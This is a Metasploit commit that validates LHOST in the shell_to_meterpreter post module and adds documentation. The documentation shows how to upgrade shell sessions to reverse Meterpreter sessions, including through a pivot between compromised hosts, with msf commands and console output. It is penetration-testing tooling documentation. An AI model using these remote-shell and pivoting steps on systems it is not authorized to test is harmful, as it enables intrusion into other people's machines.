Fix rapid7#5191, bad LHOST format causes shell_to_meterpreter to backtrace

When using shell_to_meterpreter via a pivot, the LHOST input's format
might be invalid. This is kind of a design limitation, so first we
check the input, and there is a module doc to go with it to explain
a workaround.

Fix rapid7#5191

Author: wchen-r7

documentation/modules/post/multi/manage/shell_to_meterpreter.md

@@ -0,0 +1,128 @@
+shell_to_meterpreter allows you to upgrade a shell session to Meterpreter. It can be launched as
+a post module, or from the sessions command. By default, this module will use a reverse
+Meterpreter.
+
+## Important Options
+
+**HANDLER**
+
+The handler option is for starting a multi/handler to receive the connection. By default this is
+true, because you will need it. But if for some reason if you're setting one separately, you may
+want to consider having it as false.
+
+**LHOST**
+
+The LHOST option is for the reverse Meterpreter you are upgrading to. By default, the module can
+figure it out for you. But over a pivot, you will need to manually set this, because session
+objects don't necessarily have that information.
+
+**LPORT**
+
+The LPORT option is also for the reverse Meterpreter you are upgrading to.
+
+**PAYLOAD_OVERRIDE**
+
+This is an advanced option. If you don't want to use the default reverse Meterpreter, then you can
+use this.
+
+## Scenarios
+
+**Using sessions -u**
+
+```sessions -u``` is the same as running the post module against a specific session. However, this
+is limited to using the default reverse Meterpreter payload, so you will not be able to use it
+via a pivot.
+
+Usage is rather simple. At the msf prompt, first off, read the sessions table to see which one you
+want to upgrade:
+
+```
+msf > sessions
+
+Active sessions
+===============
+
+  Id  Type           Information  Connection
+  --  ----           -----------  ----------
+  1   shell windows               192.168.146.1:4444 -> 192.168.146.128:1204 (192.168.146.128)
+
+msf > 
+```
+
+In this demonstration, session 1 is a shell, so we upgrade that:
+
+```
+msf > sessions -u 1
+```
+
+**Upgrading a shell via a pivot**
+
+This scenario is a little tricky, because the default options won't work over a pivot. The problem
+is that if you got a session with a bindshell, your LHOST will say "Local Pipe". And if you got it
+with a reverse shell, the LHOST is actually an IP range. Neither is an acceptable format for the
+LHOST option.
+
+There are two ways you can choose: either you must manually set LHOST, or you could choose a
+bind Meterpreter. The second is really easy, all you need to do is ```set PAYLOAD_OVERRIDE```.
+
+If you prefer to manually set LHOST, this should be the compromised host you're pivoting from.
+Perhaps a digram will help to explain this:
+
+```
+|-------------|       |-------------------|       |-------------------|
+|   Attacker  | <---> | Compromised box A | <---> | Compromised box B |
+|-------------|       |-------------------|       |-------------------|
+ 192.168.146.1         192.168.146.128
+                       192.168.1.101 (VPN)          192.168.1.102(VPN)
+```
+
+In this example, let's start with breaking into box A (192.168.146.128):
+
+```
+[*] Sending stage (957999 bytes) to 192.168.146.128
+[*] Meterpreter session 1 opened (192.168.146.1:4444 -> 192.168.146.128:1208) at 2016-04-28 22:45:09 -0500
+
+meterpreter >
+```
+
+We decide that box A is on a VPN, with IP 192.168.1.101. Also, we found box B as 192.168.1.102. We
+need to create that pivot:
+
+```
+msf > route add 192.168.1.1 255.255.255.0 1
+[*] Route added
+```
+
+And we break into box B (192.168.1.102) with a Windows bind shell:
+
+```
+[*] Command shell session 2 opened (Local Pipe -> Remote Pipe) at 2016-04-28 22:47:03 -0500
+```
+
+Notice this says "Local Pipe", which means the box B's session object doesn't really know box A's IP.
+If you try to run shell_to_meterpreter this way, this is all you get:
+
+```
+msf post(shell_to_meterpreter) > run
+
+[*] Upgrading session ID: 2
+[-] LHOST is "Local Pipe", please manually set the correct IP.
+[*] Post module execution completed
+```
+
+To upgrade box B's shell, set LHOST to box A's 192.168.1.101. And that should connect correctly:
+
+```
+msf post(shell_to_meterpreter) > run
+
+[*] Upgrading session ID: 2
+[*] Starting exploit/multi/handler
+[*] Started reverse TCP handler on 192.168.1.101:4433 via the meterpreter on session 1
+[*] Starting the payload handler...
+[*] Sending stage (957999 bytes) to 192.168.1.102
+[-] Powershell is not installed on the target.
+[*] Command stager progress: 1.66% (1699/102108 bytes)
+...
+[*] Command stager progress: 100.00% (102108/102108 bytes)
+[*] Meterpreter session 3 opened (192.168.146.1-192.168.146.128:4433 -> 192.168.1.102:1056) at 2016-04-28 22:50:56 -0500
+```

modules/post/multi/manage/shell_to_meterpreter.rb

@@ -67,6 +67,10 @@ def run
       lhost = framework.datastore['LHOST']
     else
       lhost = session.tunnel_local.split(':')[0]
+      if lhost == 'Local Pipe'
+        print_error 'LHOST is "Local Pipe", please manually set the correct IP.'
+        return
+      end
     end
 
     # If nothing else works...